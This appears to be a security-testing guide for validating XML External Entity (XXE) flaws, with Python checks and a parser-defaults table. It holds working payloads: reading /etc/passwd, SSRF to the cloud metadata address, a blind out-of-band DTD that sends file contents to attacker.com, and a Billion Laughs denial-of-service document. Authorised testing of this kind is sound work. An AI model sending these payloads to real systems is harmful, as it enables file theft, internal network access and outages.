Validate XML External Entity (XXE) injection vulnerabilities including file disclosure, SSRF, denial of service, and blind XXE via out-of-band channels...
Validate XXE vulnerabilities by injecting malicious XML documents containing external entity references and observing:
file:// protocolhttp:// or other protocolsRead local files by defining external entities pointing to file:// URIs.
Detection Methods:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> and reference &xxe;Example Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
Make server-side requests to internal/external resources.
Detection Methods:
<!ENTITY xxe SYSTEM "http://internal-server:8080/"> http://169.254.169.254/)Example Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>
Exfiltrate data when response is not reflected, using external DTD + parameter entities.
Detection Methods:
Example Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
evil.dtd (on attacker server):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
Extract file contents via parser error messages.
Detection Methods:
Example Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<foo>test</foo>
Exhaust server resources via recursive entity expansion or large file reads.
Detection Methods:
/dev/random or large filesExample Payload (Billion Laughs):
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
When DOCTYPE is blocked but XInclude processing is enabled.
Detection Methods:
<xi:include> instead of DOCTYPE entitiesExample Payload:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
XXE via file upload of SVG images or Office documents (DOCX, XLSX, PPTX).
Detection Methods:
Example SVG Payload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="10" y="20">&xxe;</text>
</svg>
| Platform/Parser | Default Behavior | Notes |
|---|---|---|
| Java (DOM/SAX) | XXE enabled by default | Disable via setFeature() |
| PHP (libxml) | XXE enabled < PHP 8.0 | Use libxml_disable_entity_loader(true) |
| Python (lxml) | XXE disabled by default | Enable with resolve_entities=True |
| .NET (XmlDocument) | XXE enabled by default | Set XmlResolver = null |
| libxml2 | XXE enabled by default | Use XML_PARSE_NOENT flag |
application/xml?)Classic XXE (File Disclosure):
payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text or "/bin/bash" in resp.text:
status = "VALIDATED"
SSRF via XXE:
payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal:8080/admin">
]>
<foo>&xxe;</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "admin" in resp.text or resp.status_code != 400:
status = "VALIDATED"
Blind XXE (OOB):
payload = f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://{collaborator}/evil.dtd">
%xxe;
]>
<foo>test</foo>'''
post("/api/parse", data=payload, content_type="application/xml")
if collaborator_received_request():
status = "VALIDATED"
XInclude:
payload = '''<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text:
status = "VALIDATED"
| Status | Meaning |
|---|---|
| VALIDATED | File contents returned, SSRF confirmed, or OOB callback received |
| FALSE_POSITIVE | DTD/entities disabled, no file disclosure or callbacks |
| PARTIAL | Parser accepts DTD but entity expansion blocked |
| UNVALIDATED | Blocked by WAF, error, or insufficient evidence |
Validation Criteria:
/etc/passwd, win.ini) appear in responseCapture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
status, injection_type, cwe/etc/passwd, win.ini, /etc/hostname)/etc/shadow, private keys, database configs)Validated examples:
XXE file disclosure on /api/xml - file:///etc/passwd content returned (CWE-611). Arbitrary file read possible.
Blind XXE on /upload - OOB callback received to collaborator (CWE-611). Data exfiltration risk confirmed.
SSRF via XXE on /soap - internal service response reflected (CWE-611, CWE-918). Internal network access.
XInclude XXE on /parse - file:///etc/hostname disclosed via xi:include (CWE-611). DOCTYPE blocked but XInclude enabled.
Unvalidated example:
XXE test incomplete on /api/data - DTD appears disabled (no entity expansion). Evidence: path/to/evidence.json
Primary CWE (DAST-testable):
Related CWEs (context):
Related Attack Patterns:
OWASP Classification:
/etc/passwd, not /etc/shadow)reference/xxe_payloads.py for XXE payloads by attack typereference/validate_xxe.py for XXE-focused validation flowexamples.md for concrete XXE scenarios and evidence formats